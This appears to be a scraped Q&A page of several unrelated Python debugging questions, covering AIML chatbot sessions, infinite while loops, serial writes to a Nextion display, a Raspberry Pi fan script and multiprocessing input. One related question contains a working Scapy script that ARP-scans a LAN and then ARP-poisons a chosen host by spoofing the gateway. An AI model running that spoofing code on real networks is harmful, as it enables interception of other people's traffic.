I expect I'm doing something wrong here, but whenever I try to insert the snippet to save session information for the chatbot, the terminal closes immediately with an error. Here's my source:
import aiml
k = aiml.Kernel()
#k.learn("std-startup.xml")
#k.respond("load aiml b")
#k.saveBrain("test.brn")
k.loadBrain("test.brn")
#while True: print k.respond(raw_input("> "))
keepAlive = True
while True:
output = k.respond(raw_input("> "))
print output,
session = k.getSessionData("Bob")
sessionFile = file("Bob.ses", "wb")
marshal.dump(session, sessionFile)
sessionFile.close()
probably you need to use k in place of Kernel
session = k.getSessionData("Bob")
print bot.respond(raw_input(">"), "Bob")
Related
I'm making a bot in python and it works normally, but I need a certain part of the code to be in an infinite loop, so when i put the code inside the "while True" it looks like my imports are unusable. can someone explain to me how i can solve this?ยด
import datetime
import os
import time
import cv2
import pytesseract
from playwright.sync_api import sync_playwright
caminho = r"C:\Program Files\Tesseract-OCR\tesseract.exe"
data = datetime.datetime.now()
h = data.strftime("%h")
d = data.strftime("%d")
H = data.strftime("%H")
M = data.strftime("%M")
S = data.strftime("%S")
hd = h + d
t = H + M
pasta =f"C:/Kprints/{hd}"
chave = "****"
with sync_playwright() as p:
browser = p.chromium.launch()
page = browser.new_page()
page.goto("*****")
page.locator('xpath=/html/body/div/div[5]/div[2]/div[2]/div/div/div/div/div/div[19]/button[1]').click()
time.sleep(3)
page.locator('xpath=/html/body/div/div[5]/div[2]/div[2]/div/div/div/div/div/div[4]/input').click()
page.fill('xpath=/html/body/div/div[5]/div[2]/div[2]/div/div/div/div/div/div[4]/input', "****")
page.locator('xpath=/html/body/div/div[5]/div[2]/div[2]/div/div/div/div/div/div[6]/input').click()
page.fill('xpath=/html/body/div/div[5]/div[2]/div[2]/div/div/div/div/div/div[6]/input', "****")
page.locator('xpath=/html/body/div/div[5]/div[2]/div[2]/div/div/div/div/div/button').click()
page.locator('xpath=/html/body/div/div[5]/div[2]/div[2]/div/div[1]/div/div/div[2]/div[1]/img[1]').click()
page.locator('xpath=/html/body/div/div[5]/div[2]/div[2]/div/div[1]/div/div/div[2]/div[2]/div[2]/div/div[2]').click()
page.locator('xpath=/html/body/div/div[5]/div[2]/div[2]/div/div/div/div/div/div[2]/div[5]/button').click()
time.sleep(1)
while True:
page.screenshot(path=f"{pasta}/{t}.png")
time.sleep(1)
img = cv2.imread(f"{pasta}/{t}.png")
time.sleep(1)
pytesseract.pytesseract.tesseract_cmd = caminho
texto = pytesseract.image_to_string(img)
time.sleep(1)
if not os.path.isdir(pasta):
os.mkdir(pasta)
list = os.listdir(pasta)
for arquivo in list:
if chave not in texto:
os.remove(f"{pasta}/{arquivo}")
Errors:
Unused import statement 'import os'
Unused import statement'import cv2'
Unused import statement 'import pytesseract'
This code is unreachable
Your analyzer is saying the code using them can't be reached because your while loop, being infinite, renders it impossible to reach any code after it. Either:
The loop never ends, or
The calls inside it raise an exception, that (thanks to no try blocks being involved) will bubble up (skipping the remaining code) and end the program.
Either way, as written, the code after the loop never runs, so those imports are effectively unused.
The question for you is: Do you expect/need the code after that loop to run? If so, the loop cannot be infinite and you need to change the code so it can end. If not, why is the code after the loop even there?
Those are not errors. Those should be just warnings.
Can you try re-run and post actual output here?
You code gets stuck in that loop so imports not used and yes pytesseract can not be reached.
Practice this code snippet first:
key = ""
while key != "q":
key = input("Enter a Key: ")
if key == "q":
break
print(f"You Entered: {key}")
I would like some help. I'm trying to send a variable to T0. I've tried but I cannot send a variable value. Please help.
CODE
import serial
import time
import struct
from requests import get
ip = get('https://api.ipify.org').text
ser = serial.Serial("/dev/ttyAMA0")
time.sleep(1)
k=struct.pack('B', 0xff )
while True:
ser.write(b't0.txt=ip')
ser.write(k)
ser.write(k)
ser.write(k)
You have to wrap your string in quotation marks (") for Nextion to read the string.
Not a Python expert, but this should give you a clue:
Change ser.write(b't0.txt=ip') to something like ser.write(b't0.txt="' + ip + '"').
This works for me.
port=serial.Serial(port='/dev/ttyAMA0',baudrate=9600, timeout=1.0)
eof = "\xff\xff\xff"
tn = str(datetime.now().time())
alt = 'page0.T0.txt="'+tn+'"'+eof
dimCmd = "dim=0"
undimCmd = "dim=100"
cmd1 = "https://api.thingspeak.com/apps/thinghttp/send_request?api_key=YOUR_API_KEY" #IF USING THINGSPEAK
#get temp Sub - USING THINGSPEAK GET LOCAL WEATHER
def GetTemp():
global temp
response = urllib.urlopen(cmd1)
temp = response.read()
temp = temp[:-2] #gets all characters in temp except the last 2
while True:
port.write(alt) #writes time to T0 textbox on screen
port.write(undimCmd + eof) #set screen brightness to 100%
port.write("page 1")#set screen to page 1 for multiple page setups
I'm very new at Python scripting and am working on a script to turn on a fan when my Raspberry Pi3 reaches a specific temp. I've been trying to debug my code all day and found I can't figure out what's wrong. Here is my code:
import os
import sys
import signal
import subprocess
import atexit
import time
from time import sleep
import RPi.GPIO as GPIO
pin = 18
maxTMP = 60
def setup():
GPIO.setmode(GPIO.BCM)
GPIO.setup(pin, GPIO.OUT)
GPIO.setwarnings(False)
return()
def setPin(mode):
GPIO.output(pin, mode)
return()
def exit_handler():
GPIO.cleanup()
def FanON():
SetPin(True)
return()
def FanOFF():
SetPin(False)
return()
try:
setup()
while True:
process = subprocess.Popen('/opt/vc/bin/vcgencmd measure_temp',stdout =
subprocess.PIPE,shell=True)
temp,err = process.communicate()
temp = str(temp).replace("temp=","")
temp = str(temp).replace("\'C\n","")
temp = float(temp)
if temp>maxTMP:
FanON()
else:
FanOFF()
sleep(5)
finally:
exit_handler()
Here is my error:
File "/home/pi/Scripts/run-fan.py", line 36
while True:
^
IndentationError: unexpected indent
I've tried to indent every way possible. I need help.
Thanks!
I want to preface this with, you should use four spaces for your indentation. If you do, it will be way, way easier to see problems like the one you have here. If you use an IDE like Spyder or PyCharm, there are settings that automatically highlight indentation problems for you (regardless of how many spaces you want to use).
That said, with your current indentation scheme of one-space-per-indent, you want to replace your bottom block with this:
try:
setup()
while True:
process = subprocess.Popen('/opt/vc/bin/vcgencmd measure_temp',stdout =
subprocess.PIPE,shell=True)
temp,err = process.communicate()
temp = str(temp).replace("temp=","")
temp = str(temp).replace("\'C\n","")
temp = float(temp)
if temp>maxTMP:
FanON()
else:
FanOFF()
sleep(5)
If you used four spaces instead of one on your original code, it would have looked like this:
try:
setup()
while True:
process = subprocess.Popen('/opt/vc/bin/vcgencmd measure_temp',stdout =
subprocess.PIPE,shell=True)
temp,err = process.communicate()
temp = str(temp).replace("temp=","")
temp = str(temp).replace("\'C\n","")
temp = float(temp)
if temp>maxTMP:
FanON()
else:
FanOFF()
sleep(5)
There's another problem here, which is that your while True block will currently never exit (maybe you want a break statement somewhere).
I'm trying to build a arp scanner script with Scapy. Everytime I perform a scan, I don't get the expected result. I get only two responses: one from the gateway and another one from my host machine (I'm performing the scan from a virtual machine Kali). Sometimes, I only get one more response, that's all. But, when I'm doing a ARP discovery with another tool (like Nmap), I get all expected responses (from eight machines). What's wrong in my code guys ? Can you help me ? :-(.
from scapy.all import *
import sys
from datetime import datetime
def Out():
print "\nBye!"
sys.exit(1)
try:
os.system('clear')
interface = raw_input("Enter interface : ")
ips = raw_input("Enter network address : ")
collection = []
print "Scanning..."
start_time = datetime.now()
conf.verb = 0
ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF")/ARP(pdst=ips),iface=interface,timeout=2,inter=0.5) #Arp scanner starts here
n=0
for snd,rcv in ans:
result = rcv.sprintf(r"%Ether.src% : %ARP.psrc%")
collection.append(result) #append to collection
print n, "-", collection[n]
n=n+1
stop_time = datetime.now()
print "\nScan done in ", stop_time - start_time, " seconds."
if n > 0:
target=raw_input("\nPlease enter host to arp poison : ")
gw_addr=raw_input("Enter the gateway address : ")
print "\nArp poison on host", target, "starting...\nHit Ctrl + C to Stop.\n"
p=ARP(pdst=target,psrc=gw_addr) #arp poison attack starts here
send(p,inter=RandNum(10,40),loop=1)
else:
Out()
except KeyboardInterrupt:
Out()
try to make the tool work infinitely and use that code to re-print the results
import sys
print"\rthe result",
sys.stdout.flush()
I think that first result gave you the only this moment traffics and the Infinit loop will monitor all the result.
I hope you find it out ;)
I have (in the main) the following code:
status = raw_input("Host? (Y/N) ")
if status=="Y":
print("host")
serverprozess = Process(target= spawn_server)
serverprozess.start()
clientprozess = Process (target = spawn_client)
clientprozess.start()
The methods called above basically do as follows:
def spawn_server():
mserver = server.Gameserver()
#a process for the host. spawned if and only if the player acts as host
def spawn_client():
myClient = client.Client()
#and a process for the client. this is spawned regardless of the player's status
It works fine, the server spawns and so does the client.
Only yesterday I added in client.Client() the following line:
self.ip = raw_input("IP-Adress: ")
The second raw_input throws an EOF -exception:
ret = original_raw_input(prompt)
EOFError: EOF when reading a line
Is there a way to fix this? Can I not use more than one prompt?
As you've already determined, it is easiest to call raw_input from the main process only:
status = raw_input("Host? (Y/N) ")
if status=="Y":
print("host")
serverprozess = Process(target= spawn_server)
serverprozess.start()
ip = raw_input("IP-Address: ")
clientprozess = Process (target = spawn_client, args = (ip, ))
clientprozess.start()
However, using J.F. Sebastian's solution it is also possible to duplicate sys.stdin and pass it as an argument to the subprocess:
import os
import multiprocessing as mp
import sys
def foo(stdin):
print 'Foo: ',
status = stdin.readline()
# You could use raw_input instead of stdin.readline, but
# using raw_input will cause an error if you call it in more
# than one subprocess, while `stdin.readline` does not
# cause an error.
print('Received: {}'.format(status))
status = raw_input('Host? (Y/N) ')
print(status)
newstdin = os.fdopen(os.dup(sys.stdin.fileno()))
try:
proc1 = mp.Process(target = foo, args = (newstdin, ))
proc1.start()
proc1.join()
finally:
newstdin.close()